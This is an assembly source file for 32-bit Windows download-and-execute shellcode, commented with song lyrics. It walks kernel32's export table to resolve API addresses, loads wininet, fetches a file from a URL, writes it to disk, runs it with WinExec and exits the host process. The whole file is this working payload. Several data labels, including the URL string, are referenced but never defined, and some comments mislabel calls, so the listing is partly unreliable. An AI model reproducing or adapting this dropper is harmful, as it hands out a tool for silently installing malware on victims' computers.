
	
BITS 32					; 32bit addressing
ORG 0x0					; for relative jumps etc...
BUFFERSIZE	EQU	999999		; size of mem alloced for downloaded file in bytes
	jmp apiz                        ; jump to our data section
harmony:				; "i wana take you higher" - sly and the family stone
	pop eax                         ; save address of call return
	push ebp                        ; save old ebp
	mov ebp, esp                    ; create new stack frame
	sub esp, 0x2c                   ; make room for our variables
	mov [ebp-0x2c], eax             ; save address of our data section
	mov dword [ebp-0x04], KERNELBASE; assume a base address for kernel32.dll
	mov eax, [ebp-0x04]	        ; move imagebase into eax
	cmp word [eax], 'MZ'            ; check if we have a exe image
	jne bnc		                ; exit if we dont, this short jump is out of range so we do two
	add eax, 0x3C		        ; eax = pointer to pe header offset
	mov ebx, [eax]		        ; get the pointer
	add ebx, [ebp-0x04]	        ; add to image base to align it
	cmp word [ebx], 'PE'            ; check if we have a pe image
	jne bnc		                ; exit if we dont to avoid trashing system
	add ebx, 0x78		        ; ebx = pointer to virtual address of export dir address
	mov esi, [ebx]		        ; esi = virtual address of export dir address
	add esi, [ebp-0x04]	        ; add imagebase to ecx to align
	add esi, 0x18                   ; esi points to NumberOfNames
	lodsd                           ; load number of names into eax
	mov [ebp-0x0c], eax             ; save it for later
	lodsd                           ; load address of funcs into eax
	add eax, [ebp-0x04]             ; align it
	mov [ebp-0x10], eax             ; save it
	lodsd                           ; load address of names into eax
	add eax, [ebp-0x04]             ; align it
	mov [ebp-0x14], eax             ; save it
	lodsd                           ; load number of ordinals into eax
	add eax, [ebp-0x04]             ; align it
	mov [ebp-0x18], eax             ; save it
	xor edi, edi                    ; clear edi for the loop
	mov eax, dword [ebp-0x2c]       ; eax = address of our data section
	add eax, 0x0F                   ; eax = address of string "LoadLibraryA"
	mov [ebp-0x24], eax             ; [ebp-0x24] = address of string to scan for
	mov [ebp-0x28], dword 0x0D      ; [ebp-0x28] = size of string to scan for
	call getit                      ; call our function to get address of LoadLibraryA
	mov edx, [ebp-0x24]             ; edx = virtual address of LoadLibraryA
	mov [ebp-0x20], edx             ; save our address of LoadLibraryA
	mov eax, dword [ebp-0x2c]       ; eax = address of string "GetProcAddress"
	mov [ebp-0x24], eax             ; [ebp-0x24] = address of string to scan for
	mov [ebp-0x28], dword 0x0F      ; [ebp-0x28] = size of string to scan for
	call getit                      ; call our function to get address of GetProcAddress
	mov edx, [ebp-0x24]             ; edx = virtual address of GetProcAddress
	mov [ebp-0x1c], edx             ; save our address of GetProcAddress
    	mov eax, [ebp-0x20]		; eax = rva of LoadLibraryA
    	mov ebx, edx			; ebx = rva of getProcAddress
    	jmp inspire                     ; no we have our addresses let go critical...
bnc:     				; "thank you falatme be mice elf" - sly and the family stone
	jmp halt			; we need this for out of range short jumps
getit:					; "ina gada da vida baby" - iron butterfly
	xor eax, eax                    ; clear eax
	mov [ebp-0x08], eax             ; set our counter to 0
goagain:				; "bolla bolla, ive lost my senses" - sven vath
	mov edi, [ebp-0x08]             ; edi = our counter in the loop
	cmp edi, [ebp-0x0c]             ; compare it to our limit
	jge fin                         ; if were greater or equal to it exit loop
	inc edi                         ; else increment the counter
	mov [ebp-0x08], edi             ; and save it for later
	xor eax, eax                    ; clear eax
	mov eax, [ebp-0x08]             ; eax = counter
	shl eax, 0x02                   ; eax = eax * 2
	mov ebx, [ebp-0x14]             ; ebx = AddressOfNames
	add ebx, eax                    ; ebx = ebx + eax
	mov eax, [ebx]                  ; eax = pointer from ebx
	add eax, [ebp-0x04]             ; align w/ base addr
	mov edi, eax                    ; edi = address of name to compare w/
	mov esi, [ebp-0x24]             ; esi = address of name to compare to [edi]
	mov ecx, [ebp-0x28]             ; ecx = the length of our search string
	rep cmpsb                       ; compare the strings pointed to by edi,esi and repeat this ecx times
	jne goagain                     ; if not equal goto top of loop else we found the function we want 
	xor eax, eax                    ; clear eax
	mov eax, [ebp-0x08]             ; eax = value of our counter, we need this for calculations later
	shl eax, 0x01                   ; eax = eax * 2
	mov ebx, [ebp-0x18]             ; ebx = pointer to ordinals
	add ebx, eax                    ; add the multiplyed counter to it
	xor eax, eax                    ; clear eax
	mov ax, word [ebx]              ; ax = the ordinal for the function we found
	shl eax, 0x02                   ; multiply it by 4
	mov ebx, [ebp-0x10]             ; ebx = pointer to address of functions
	add eax, ebx                    ; add it to (ordinal*4)
	mov ebx, [eax]                  ; ebx = rva of function
	add ebx, [ebp-0x04]             ; align it, ebx = va of function
	mov [ebp-0x24], ebx             ; save it
fin:					; "we have a question, do you love your hardcore?" - ultra sonic
	ret                             ; return to caller
apiz:					; "were all junkies plain to see" - curtis mayfield 
	call harmony			; call start of crazy code and pop off data address
	db "GetProcAddress", 0          ; string referenced by [ebp-0x2c] + 0x00
	db "LoadLibraryA", 0            ; string referenced by [ebp-0x2c] + 0x0F
inspire:				; "just look at her eyes, do you know how you feel?" - jeferson aeroplane
	jmp foo				; jump down to our data section
top:					; "another junkie player pushing dope for the man" - curtis mayfiled
	pop edi				; save data address
	push ebp			; save old base pointer
	mov ebp, esp			; create new stack frame
	sub esp, 0x1C			; grow stack
	mov [ebp-0x18], eax		; eax = rva of LoadLibraryA as found in kernels EAT
	mov [ebp-0x1C], ebx		; ebx = rva of GetProcAddress as found in kernels EAT
	mov [ebp-0x04], edi		; save data address
	mov [ebp-0x14], dword 0x06	; store num of funcs to do
	mov eax, [ebp-0x04]		; eax = addr of lib name
	mov [ebp-0x0c], eax		; store it
	add eax, 0x46			; align to addr of string lenght array
	mov [ebp-0x10], eax		; store it
	call gomad			; call func gomad
	mov [ebp-0x14], dword 0x03	; store num of funcs
	mov eax, [ebp-0x04]		; eax = base data address
	add eax, 0x4C			; eax = address of lib name
	mov [ebp-0x0c], eax		; store it
	add eax, 0x3C			; align to address of string length array
	mov [ebp-0x10], eax		; store it
	call gomad			; call func gomad
	mov eax, [ebp-0x04]		; eax = the rva of foo 
	jmp hack			; jump into our hack code
gomad:					; "sipping on gin an juice, laid back" - dre & snoop
        mov eax, [ebp-0x0c]		; eax = addr of lib string
	push eax			; push it for func call
	call dword [ebp-0x18]		; call LoadLibraryA
	test eax, eax			; test for fail
	jz halt				; quit if failed
	mov [ebp-0x08], eax		; save lib base addr
    	mov esi, [ebp-0x10]		; for lodsb, esi points to byte array of string lenght
	mov ecx, [ebp-0x14]		; cx = num times to loop || num funcs to find
sloop:					; "only for the fact that its not" - me :)
	mov ebx, [ebp-0x0c]		; ebx = addr of lib string
	xor eax, eax			; clear eax
	lodsb				; eax = length of next func string
        add ebx, eax			; ebx aligned to next func string
	mov eax, [ebp-0x08]		; eax = lib base addr
	pushad				; save our regs
        push ebx			; ebx = addr of func string
        push eax			; eax = handle of loaded lib
        call dword [ebp-0x1C]		; call LoadLibraryA
	mov [ebx], eax			; save func address over first 4 bytes of func name
	popad				; restore our regs
	loop sloop			; loop and go again
        ret				; finished the loop
halt:					; "aint nobody dope as me, im just so fresh and so clean" - 
	nop				; no operation :@
	jmp halt			; loop forever. we use this if we bug out at an early stage
foo:					; "ive decided to take my work back underground" - the prodigy 
        call top			; call the start of code and pop off data address
	db "kernel32.dll",0		; [ebp-0x04] + 0x00
	db "VirtualAlloc",0		; to allocate memory later
	db "_lcreat",0			; to create a file
	db "_lwrite",0			; to write to that file
	db "_lclose",0			; to close the file
	db "WinExec",0			; and then to execute thatfile
	db "ExitProcess",0		; kill the host process
	db 0x0D, 0x1A, 0x22, 0x2A, 0x32, 0x3A	; array of offsets
	db "wininet.dll",0		; |__(crayola)__>
	db "InternetOpenA",0		; and just where is springfield?
	db "InternetOpenUrlA",0		; open a url
	db "InternetReadFile",0		; read a file opened by above api into memory
	db 0x0C, 0x1A, 0x2B		; an array of offsets, ohh how fancy ;)
	nop				; dummy byte for no preticular reason :)
exit:					; "a total lack of respect for the law" - the prodigy
        xor eax, eax			; clear eax
        push eax			; push it
	mov ecx, [esi-memaddy+apiaddr]	; ecx = rva of foo
	call dword [ecx+0x3A]		; call ExitProcess
hack:					; "out of my brain on the train" - the who
	jmp data			; jump into our data section
start:					; "ive been fusing and a fighting" - bob marley
	pop esi				; esi = our data addr in memory
	mov [esi-memaddy+apiaddr], eax	; eax = rva of foo (above) all api addresses we need
	push dword 4			; PAGE_READWRITE
	push dword 4096			; MEM_COMMIT
	push dword BUFFERSIZE		; bytes to alloc
	push dword 0x00000000		; push NULL
	mov ecx, [esi-memaddy+apiaddr]	; ecx = rva of foo
	call dword [ecx+0x0D]		; call VirtualAlloc
	mov [esi-memaddy+memaddy], eax	; save address of alloced region
	xor eax, eax			; clear eax
	push eax			; push a NULL
	push eax			; push a NULL
	push eax			; push a NULL
	push eax			; push a NULL
	push eax			; push a NULL
	mov ecx, [esi-memaddy+apiaddr]	; ecx = rva of foo
	call dword [ecx+0x4C+0x0C]	; call InternetOpenA
	mov [esi-memaddy+hinet], eax	; save handle
	xor eax, eax			; clear eax
	push eax			; push a NULL
	push eax			; push a NULL
	push eax			; push a NULL
	push eax			; push a NULL
	lea eax, [esi-memaddy+address]	; eax = addr of URL string
	push eax			; push it on
	mov eax, [esi-memaddy+hinet]	; eax = handle from InternetOpenA
	push eax			; push it on
	mov ecx, [esi-memaddy+apiaddr]	; ecx = rva of foo
	call dword [ecx+0x4C+0x1A]	; call InternetOpenUrlA
	mov [esi-memaddy+hinet], eax	; save returned handle
	lea eax, [esi-memaddy+bytes]	; eax = addr of variable bytes
	push eax			; push it
	push dword BUFFERSIZE		; push size of buffer
	mov eax, [esi-memaddy+memaddy]	; eax = addr of alloced memory
	push eax			; push it
	mov eax, [esi-memaddy+hinet]	; eax = handle from InternetOpenUrlA
	push eax			; push it
	mov ecx, [esi-memaddy+apiaddr]	; ecx = rva of foo
	call dword [ecx+0x4C+0x2B]	; call InternetReadFile
	push dword 0			; push NULL
	lea eax, [esi-memaddy+file]	; eax = rva of file string
	push eax			; push it
	mov ecx, [esi-memaddy+apiaddr]	; ecx = rva of foo
	call dword [ecx+0x1A]		; call _lcreat
	mov [esi-memaddy+fhandle], eax	; save returned handle
	mov eax, [esi-memaddy+bytes]	; eax = number of bytes to write
	push eax			; push it
	mov eax, [esi-memaddy+memaddy]	; eax = addr to write from
	push eax			; push it
	mov eax, [esi-memaddy+fhandle]	; eax = handle of file to write to
	push eax			; push it
	mov ecx, [esi-memaddy+apiaddr]	; ecx = rva of foo
	call dword [ecx+0x22]		; call _lwrite
	mov eax, [esi-memaddy+fhandle]	; eax = file handle
	push eax			; push it
	mov ecx, [esi-memaddy+apiaddr]	; ecx = rva of foo
	call dword [ecx+0x2A]		; call _lclose
	push dword 5 			; SW_SHOW = 5 | SW_HIDE = 0
	lea eax, [esi-memaddy+file]	; eax = rva of file string
	push eax			; push it
	mov ecx, [esi-memaddy+apiaddr]	; ecx = rva of foo
	call dword [ecx+0x32]		; call WinExec to execute our file
	jmp exit			; were finished our crazy game so lets go home...
data:					; "no ones slave, i am no ones master" - theo simons
	call start			; call the start of our hack code
	memaddy	dd 0			; a variable !
	hinet	dd 0			; a variable !
	

